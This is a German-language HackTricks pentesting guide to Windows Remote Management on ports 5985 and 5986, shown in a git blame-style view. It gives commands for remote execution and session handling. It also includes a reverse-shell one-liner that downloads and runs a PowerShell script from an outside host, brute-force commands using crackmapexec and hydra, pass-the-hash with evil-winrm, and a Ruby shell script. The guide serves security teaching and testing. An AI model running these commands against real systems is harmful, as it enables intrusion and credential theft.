hacktricks/network-services-pentesting/5985-5986-pentesting-winrm.md

334 lines
16 KiB
Markdown
Raw Normal View History

2022-07-28 09:46:19 +00:00
# 5985,5986 - Pentesting WinRM
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 15:36:32 +00:00
Andere Möglichkeiten, HackTricks zu unterstützen:
2024-01-03 10:42:55 +00:00
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
2024-02-10 15:36:32 +00:00
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
2023-02-27 09:28:45 +00:00
2024-02-10 15:36:32 +00:00
Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
2023-02-27 09:28:45 +00:00
**Hacking-Einblicke**\
Beschäftigen Sie sich mit Inhalten, die sich mit dem Nervenkitzel und den Herausforderungen des Hackens befassen
2023-02-27 09:28:45 +00:00
2024-02-10 15:36:32 +00:00
**Echtzeit-Hack-News**\
Bleiben Sie mit der schnelllebigen Hacking-Welt durch Echtzeitnachrichten und Einblicke auf dem Laufenden
2023-07-14 15:03:41 +00:00
2024-02-10 15:36:32 +00:00
**Neueste Ankündigungen**\
Bleiben Sie über die neuesten Bug-Bounties und wichtige Plattformupdates informiert
2023-07-14 15:03:41 +00:00
**Treten Sie uns auf** [**Discord**](https://discord.com/invite/N3FrSbmwdy) bei und beginnen Sie noch heute mit der Zusammenarbeit mit Top-Hackern!
2022-10-27 23:22:18 +00:00
2022-07-28 09:46:19 +00:00
## WinRM
[Windows Remote Management (WinRM)](https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426\(v=vs.85\).aspx) wird als ein **Protokoll von Microsoft** hervorgehoben, das die **Remote-Verwaltung von Windows-Systemen** über HTTP(S) ermöglicht und dabei SOAP nutzt. Es wird im Wesentlichen von WMI betrieben und präsentiert sich als eine auf HTTP basierende Schnittstelle für WMI-Operationen.
Die Anwesenheit von WinRM auf einem Rechner ermöglicht eine unkomplizierte Remote-Verwaltung über PowerShell, ähnlich wie SSH für andere Betriebssysteme funktioniert. Um festzustellen, ob WinRM betriebsbereit ist, wird empfohlen, auf das Öffnen bestimmter Ports zu überprüfen:
* **5985/tcp (HTTP)**
* **5986/tcp (HTTPS)**
Ein offener Port aus der obigen Liste zeigt an, dass WinRM eingerichtet wurde und somit Versuche zur Initiierung einer Remote-Sitzung zulässt.
### **Initiieren einer WinRM-Sitzung**
Um PowerShell für WinRM zu konfigurieren, kommt das Microsoft-Tool `Enable-PSRemoting` zum Einsatz, um den Computer so einzurichten, dass er remote PowerShell-Befehle akzeptiert. Mit erhöhtem PowerShell-Zugriff können die folgenden Befehle ausgeführt werden, um diese Funktionalität zu aktivieren und jeden Host als vertrauenswürdig zu kennzeichnen:
2024-02-08 21:36:35 +00:00
```powershell
2024-02-10 15:36:32 +00:00
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *
```
Diese Methode beinhaltet das Hinzufügen eines Platzhalters (*) zur `trustedhosts`-Konfiguration, ein Schritt, der aufgrund seiner Auswirkungen sorgfältig überlegt sein sollte. Es wird auch darauf hingewiesen, dass es möglicherweise erforderlich ist, den Netzwerktyp von "Öffentlich" auf "Arbeit" auf dem Rechner des Angreifers zu ändern.
2024-02-10 15:36:32 +00:00
Darüber hinaus kann WinRM **remote aktiviert** werden, indem der `wmic`-Befehl verwendet wird, wie folgt demonstriert:
2024-02-08 21:36:35 +00:00
```powershell
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
```
### Überprüfen, ob konfiguriert
2024-02-08 21:36:35 +00:00
Um die Einrichtung Ihres Angriffsrechners zu überprüfen, wird der Befehl `Test-WSMan` verwendet, um zu prüfen, ob das Ziel ordnungsgemäß mit WinRM konfiguriert ist. Durch Ausführen dieses Befehls sollten Sie Details zur Protokollversion und zur WSMID erhalten, die auf eine erfolgreiche Konfiguration hinweisen. Im Folgenden sind Beispiele aufgeführt, die die erwartete Ausgabe für ein konfiguriertes Ziel im Vergleich zu einem nicht konfigurierten Ziel veranschaulichen:
2024-02-08 21:36:35 +00:00
* Für ein Ziel, das **ordnungsgemäß** konfiguriert ist, wird die Ausgabe ähnlich aussehen wie:
2024-02-08 21:36:35 +00:00
```bash
Test-WSMan <target-ip>
```
Die Antwort sollte Informationen zur Protokollversion und wsmid enthalten, was darauf hinweist, dass WinRM korrekt eingerichtet ist.
![](<../.gitbook/assets/image (582).png>)
* Im Gegensatz dazu würde bei einem Ziel, das **nicht** für WinRM konfiguriert ist, keine solche detaillierte Information vorliegen, was auf das Fehlen einer ordnungsgemäßen WinRM-Konfiguration hinweist.
![](<../.gitbook/assets/image (458).png>)
2024-02-10 15:36:32 +00:00
### Führen Sie einen Befehl aus
Um `ipconfig` remote auf einer Zielmaschine auszuführen und dessen Ausgabe anzuzeigen, tun Sie Folgendes:
2024-02-08 21:36:35 +00:00
```powershell
Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]
```
![](<../.gitbook/assets/image (151).png>)
Sie können auch **einen Befehl Ihrer aktuellen PS-Konsole über** _**Invoke-Command**_ **ausführen**. Angenommen, Sie haben lokal eine Funktion namens _**enumeration**_ und möchten sie auf einem Remote-Computer **ausführen**, können Sie Folgendes tun:
2024-02-08 21:36:35 +00:00
```powershell
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
```
2024-02-10 15:36:32 +00:00
### Skript ausführen
```powershell
Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]
```
### Erhalten Sie eine Reverse-Shell
2024-02-10 15:36:32 +00:00
```powershell
Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}
```
### Erhalten Sie eine PS-Sitzung
Um eine interaktive PowerShell-Shell zu erhalten, verwenden Sie `Enter-PSSession`:
2022-09-26 12:02:10 +00:00
```powershell
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
# Enter
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username]
2022-10-30 16:20:17 +00:00
## Bypass proxy
Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
2024-02-10 15:36:32 +00:00
# Save session in var
2022-10-30 16:20:17 +00:00
$sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession $sess
## Background current PS session
Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...)
```
![](<../.gitbook/assets/image (1009).png>)
2024-02-10 15:36:32 +00:00
**Die Sitzung wird in einem neuen Prozess (wsmprovhost) innerhalb des "Opfers" ausgeführt**
2024-02-10 15:36:32 +00:00
### **WinRM erzwingen**
Um PS Remoting und WinRM zu verwenden, wenn der Computer nicht konfiguriert ist, können Sie es mit folgendem Befehl aktivieren:
2024-02-08 21:36:35 +00:00
```powershell
.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
```
2024-02-10 15:36:32 +00:00
### Speichern und Wiederherstellen von Sitzungen
2024-02-10 15:36:32 +00:00
Dies funktioniert nicht, wenn die Sprache auf dem Remote-Computer eingeschränkt ist.
2024-02-08 21:36:35 +00:00
```powershell
2022-09-26 12:02:10 +00:00
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
#You can save a session inside a variable
2022-09-25 22:00:52 +00:00
$sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)]
#And restore it at any moment doing
Enter-PSSession -Session $sess1
```
Innerhalb dieser Sitzungen können Sie PS-Skripte mit _Invoke-Command_ laden.
2024-02-08 21:36:35 +00:00
```powershell
Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
```
2024-02-10 15:36:32 +00:00
### Fehler
2024-02-10 15:36:32 +00:00
Wenn Sie den folgenden Fehler finden:
`enter-pssession : Die Verbindung mit dem Remoteserver 10.10.10.175 ist mit der folgenden Fehlermeldung fehlgeschlagen: Der WinRM-Client kann die Anforderung nicht verarbeiten. Wenn das Authentifizierungsschema von Kerberos abweicht oder wenn der Clientcomputer nicht in eine Domäne eingebunden ist, muss der HTTPS-Transport verwendet werden oder die Zielmaschine muss zur Konfigurationseinstellung TrustedHosts hinzugefügt werden. Verwenden Sie winrm.cmd, um TrustedHosts zu konfigurieren. Beachten Sie, dass Computer in der TrustedHosts-Liste möglicherweise nicht authentifiziert werden. Weitere Informationen erhalten Sie, indem Sie den folgenden Befehl ausführen: winrm help config. Weitere Informationen finden Sie im Hilfe-Thema about_Remote_Troubleshooting.`
Der Versuch auf dem Client (Informationen von [hier](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)):
```ruby
winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
```
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
2023-02-27 09:28:45 +00:00
2024-02-10 15:36:32 +00:00
Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
2023-02-27 09:28:45 +00:00
2023-12-04 15:45:05 +00:00
**Hacking Insights**\
Beschäftigen Sie sich mit Inhalten, die sich mit dem Nervenkitzel und den Herausforderungen des Hackens befassen
2022-10-27 23:22:18 +00:00
2024-02-10 15:36:32 +00:00
**Echtzeit-Hack-News**\
Bleiben Sie mit den schnelllebigen Hacking-Welt durch Echtzeit-Nachrichten und Einblicke auf dem Laufenden
2023-02-27 09:28:45 +00:00
2024-02-10 15:36:32 +00:00
**Neueste Ankündigungen**\
Bleiben Sie über die neuesten Bug-Bounties und wichtige Plattform-Updates informiert
2023-07-14 15:03:41 +00:00
**Treten Sie uns bei** [**Discord**](https://discord.com/invite/N3FrSbmwdy) und beginnen Sie noch heute mit der Zusammenarbeit mit Top-Hackern!
2022-10-27 23:22:18 +00:00
2024-02-10 15:36:32 +00:00
## WinRM-Verbindung in Linux
### Brute Force
2020-09-20 21:41:33 +00:00
Seien Sie vorsichtig, das Brute-Forcing von WinRM könnte Benutzer blockieren.
2020-09-20 21:41:33 +00:00
```ruby
#Brute force
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
#Just check a pair of credentials
2022-05-01 12:49:36 +00:00
# Username + Password + CMD command execution
2020-09-20 21:44:41 +00:00
crackmapexec winrm <IP> -d <Domain Name> -u <username> -p <password> -x "whoami"
2022-05-01 12:49:36 +00:00
# Username + Hash + PS command execution
2020-09-20 21:44:41 +00:00
crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionTable'
2020-09-20 21:41:33 +00:00
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm
```
2024-02-10 15:36:32 +00:00
### Verwendung von evil-winrm
```ruby
2024-02-10 15:36:32 +00:00
gem install evil-winrm
```
Lesen Sie die **Dokumentation** auf seinem Github: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
2024-02-10 15:36:32 +00:00
```ruby
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
```
Um evil-winrm zu verwenden, um eine Verbindung mit einer **IPv6-Adresse** herzustellen, erstellen Sie einen Eintrag in _**/etc/hosts**_, der einen **Domainnamen** auf die IPv6-Adresse setzt, und stellen Sie eine Verbindung zu diesem Domainnamen her.
2024-02-10 15:36:32 +00:00
### Übergeben des Hashes mit evil-winrm
```ruby
evil-winrm -u <username> -H <Hash> -i <IP>
```
![](<../.gitbook/assets/image (680).png>)
2024-02-10 15:36:32 +00:00
### Verwendung einer PS-Docker-Maschine
```
docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds
```
2024-02-10 15:36:32 +00:00
### Verwendung eines Ruby-Skripts
**Code extrahiert von hier:** [**https://alamot.github.io/winrm\_shell/**](https://alamot.github.io/winrm\_shell/)
```ruby
require 'winrm-fs'
# Author: Alamot
# To upload a file type: UPLOAD local_path remote_path
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt
2024-02-05 02:28:59 +00:00
# https://alamot.github.io/winrm_shell/
2024-02-10 15:36:32 +00:00
conn = WinRM::Connection.new(
endpoint: 'https://IP:PORT/wsman',
transport: :ssl,
user: 'username',
password: 'password',
:no_ssl_peer_verification => true
)
class String
2024-02-10 15:36:32 +00:00
def tokenize
self.
split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
select {|s| not s.empty? }.
map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
end
end
command=""
file_manager = WinRM::FS::FileManager.new(conn)
conn.shell(:powershell) do |shell|
2024-02-10 15:36:32 +00:00
until command == "exit\n" do
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
print(output.output.chomp)
command = gets
if command.start_with?('UPLOAD') then
upload_command = command.tokenize
print("Uploading " + upload_command[1] + " to " + upload_command[2])
file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|
puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
end
command = "echo `nOK`n"
end
output = shell.run(command) do |stdout, stderr|
STDOUT.print(stdout)
STDERR.print(stderr)
end
end
puts("Exiting with code #{output.exitcode}")
end
```
2022-07-28 09:46:19 +00:00
## Shodan
2020-10-05 21:51:08 +00:00
* `port:5985 Microsoft-HTTPAPI`
2024-02-10 15:36:32 +00:00
## Referenzen
2022-10-27 23:22:18 +00:00
* [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
2024-02-10 15:36:32 +00:00
## HackTricks Automatische Befehle
```
Protocol_Name: WinRM #Protocol Abbreviation if there is one.
Port_Number: 5985 #Comma separated if there is more than one.
Protocol_Description: Windows Remote Managment #Protocol Abbreviation Spelled out
2021-08-15 17:09:57 +00:00
Entry_1:
2024-02-10 15:36:32 +00:00
Name: Notes
Description: Notes for WinRM
Note: |
Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.
2021-08-15 17:09:57 +00:00
2024-02-10 15:36:32 +00:00
sudo gem install winrm winrm-fs colorize stringio
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p MySuperSecr3tPass123!
2021-08-15 17:09:57 +00:00
2024-02-10 15:36:32 +00:00
https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/
2021-08-15 17:09:57 +00:00
2024-02-10 15:36:32 +00:00
ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
^^so you can upload binary's from that directory or -s to upload scripts (sherlock)
menu
invoke-binary `tab`
2021-08-15 17:09:57 +00:00
2024-02-10 15:36:32 +00:00
#python3
import winrm
s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))
2021-08-15 17:09:57 +00:00
2024-02-10 15:36:32 +00:00
https://book.hacktricks.xyz/pentesting/pentesting-winrm
2021-09-13 15:49:25 +00:00
Entry_2:
2024-02-10 15:36:32 +00:00
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
```
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
2023-07-14 15:03:41 +00:00
2024-02-10 15:36:32 +00:00
Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
2023-02-27 09:28:45 +00:00
2023-12-04 15:45:05 +00:00
**Hacking Insights**\
Beschäftigen Sie sich mit Inhalten, die sich mit dem Nervenkitzel und den Herausforderungen des Hackens befassen
2022-10-27 23:22:18 +00:00
2024-02-10 15:36:32 +00:00
**Echtzeit-Hack-News**\
Bleiben Sie mit der schnelllebigen Hacking-Welt durch Echtzeit-Nachrichten und Einblicke auf dem Laufenden
2023-02-27 09:28:45 +00:00
2024-02-10 15:36:32 +00:00
**Neueste Ankündigungen**\
Bleiben Sie über die neuesten Bug-Bounties und wichtige Plattform-Updates informiert
2023-02-27 09:28:45 +00:00
**Treten Sie uns bei auf** [**Discord**](https://discord.com/invite/N3FrSbmwdy) und beginnen Sie noch heute mit Top-Hackern zusammenzuarbeiten!
2022-10-27 23:22:18 +00:00
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 15:36:32 +00:00
Andere Möglichkeiten, HackTricks zu unterstützen:
2024-01-03 10:42:55 +00:00
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
2024-02-10 15:36:32 +00:00
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
2022-04-28 16:01:33 +00:00
</details>